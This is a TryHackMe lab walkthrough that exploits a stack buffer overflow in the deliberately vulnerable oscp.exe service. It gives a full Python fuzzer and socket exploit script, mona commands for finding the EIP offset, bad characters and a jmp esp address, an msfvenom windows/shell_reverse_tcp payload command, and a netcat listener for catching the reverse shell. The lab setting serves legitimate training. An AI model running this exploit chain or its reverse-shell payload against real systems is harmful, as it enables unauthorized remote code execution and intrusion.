TryHackMe BufferOverflow

Summary

Practice stack based buffer overflows!

Starting Immunity Debugger

Screenshot_2021-08-13_04_01_12

Right-click the Immunity Debugger icon on the Desktop and choose “Run as administrator”.

Screenshot_2021-08-13_04_02_29

When Immunity loads, click the open file icon, or choose File -> Open. Navigate to the vulnerable-apps folder on the admin user’s desktop, and then the “oscp” folder. Select the “oscp” (oscp.exe) binary and click “Open”.

Screenshot_2021-08-13_04_02_38

Screenshot_2021-08-13_04_03_02

Mona Configuration

Run these command in the input box at the bottom of the immunity Debugger window.

1
!mona config -set workingfolder c:\mona\%p

Screenshot_2021-08-13_04_03_54

Fuzzing

Run this python script to fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3

import socket, time, sys

ip = "MACHINE_IP"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Screenshot_2021-08-13_04_04_52

Basically, this script is going to send increasingly long strings comprised of As. If the server gets crashed, the fuzzer should exit with an error message.

Screenshot_2021-08-13_04_05_45

Screenshot_2021-08-13_04_06_06

Crash Replication & Controlling EIP

Run the following command to generate a cyclic pattern of a length 2400 bytes longer that the string that crashed the server (change the -l value to this):

1
msf-pattern create -l 2400

Screenshot_2021-08-13_04_06_23

Now save the below script in exploit.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket

ip = "MACHINE_IP"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Screenshot_2021-08-13_04_08_39

Run the exploit.py and lets see if we can crash.

Screenshot_2021-08-13_04_10_44

The script should crash the oscp.exe server again. This time, in Immunity Debugger, in the command input box at the bottom of the screen, run the following mona command, changing the distance to the same length as the pattern you created:

1
!mona findmsp -distance 2400

Screenshot_2021-08-13_04_11_21

Mona should display a log window with the output of the command. If not, click the “Window” menu and then “Log data” to view it (choose “CPU” to switch back to the standard view).

In this output you should see a line which states:

1
EIP contains normal pattern : ... (offset XXXX)

Update your exploit.py script and set the offset variable to this value (was previously set to 0). Set the payload variable to an empty string again. Set the retn variable to “BBBB”.

Screenshot_2021-08-13_04_12_27

Run Exploit.py.

Screenshot_2021-08-13_04_13_48

Restart oscp.exe in Immunity and run the modified exploit.py script again.

Screenshot_2021-08-13_04_13_20

The EIP register should now be overwritten with the 4 B’s (e.g. 42424242).

Screenshot_2021-08-13_04_13_57

Finding Bad Characters

Generate a bytearray using mona, and exclude the null byte (\x00) by default. Note the location of the bytearray.bin file that is generated (if the working folder was set per the Mona Configuration section of this guide, then the location should be C:\mona\oscp\bytearray.bin).

Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \x01 to \xff:

1
2
3
for x in range(1, 256):
  print("\x" + "{:02x}".format(x), end='')
print()

Screenshot_2021-08-13_04_14_29

Update your exploit.py script and set the payload variable to the string of bad chars the script generates.

Screenshot_2021-08-13_04_15_22

Screenshot_2021-08-13_04_16_41

Screenshot_2021-08-13_04_16_52

Screenshot_2021-08-13_04_17_02

Screenshot_2021-08-13_04_17_12

Restart oscp.exe in Immunity and run the modified exploit.py script again. Make a note of the address to which the ESP register points and use it in the following mona command:

1
!mona compare -f C:\mona\oscp\bytearray.bin -a <address>

Screenshot_2021-08-13_04_18_50

A popup window should appear labelled “mona Memory comparison results”. If not, use the Window menu to switch to it. The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.

Screenshot_2021-08-13_04_18_58

Screenshot_2021-08-13_04_20_22

Screenshot_2021-08-13_04_22_23

Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string.

The first badchar in the list should be the null byte (\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \x00. Then update the payload variable in your exploit.py script and remove the new badchars as well.

Restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns “Unmodified”. This indicates that no more badchars exist.

Screenshot_2021-08-13_04_23_37

Finding a Jump Point

With the oscp.exe either running or in a crashed state, run the following mona command, making sure to update the -cpb option with all the badchars you identified (including \x00):

1
2
!mona jmp -r esp -cpb "\x00"

This command finds all “jmp esp” (or equivalent) instructions with addresses that don’t contain any of the badchars specified. The results should display in the “Log data” window (use the Window menu to switch to it if needed).

Choose an address and update your exploit.py script, setting the “retn” variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.

Screenshot_2021-08-13_04_25_18

Screenshot_2021-08-13_04_26_45

Generate Payload

1
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c

Screenshot_2021-08-13_04_27_45

Copy the generated C code strings and integrate them into your exploit.py script payload variable.

Screenshot_2021-08-13_04_29_20

Prepend NOPs

Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more “No Operation” (\x90) bytes:

1
padding = "\x90" * 16

See line no 10 in the screenshot:

Screenshot_2021-08-13_04_29_20

Exploit:

With the correct prefix, offset, return address, padding, and payload set, you can now exploit the buffer overflow to get a reverse shell.

Start a netcat listener on your Kali box using the LPORT you specified in the msfvenom command (4444 if you didn’t change it).

Restart oscp.exe in Immunity and run the modified exploit.py script again. Your netcat listener should catch a reverse shell!

Screenshot_2021-08-13_04_30_19

Screenshot_2021-08-13_04_30_55

Screenshot_2021-08-13_04_34_05

Screenshot_2021-08-13_04_34_55

Screenshot_2021-08-13_04_39_02